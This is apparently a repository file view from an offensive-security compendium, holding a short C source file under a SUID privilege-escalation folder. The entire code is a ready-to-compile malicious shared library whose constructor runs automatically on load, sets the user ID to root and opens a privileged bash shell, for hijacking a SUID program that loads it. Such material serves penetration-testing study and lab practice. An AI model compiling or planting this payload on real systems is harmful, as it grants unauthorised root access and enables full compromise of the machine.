killchain-compendium/Post Exploitation/Privilege Escalation/suid/libcalc.c

10 lines
147 B
C
Raw Normal View History

2022-11-11 01:15:07 +01:00
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}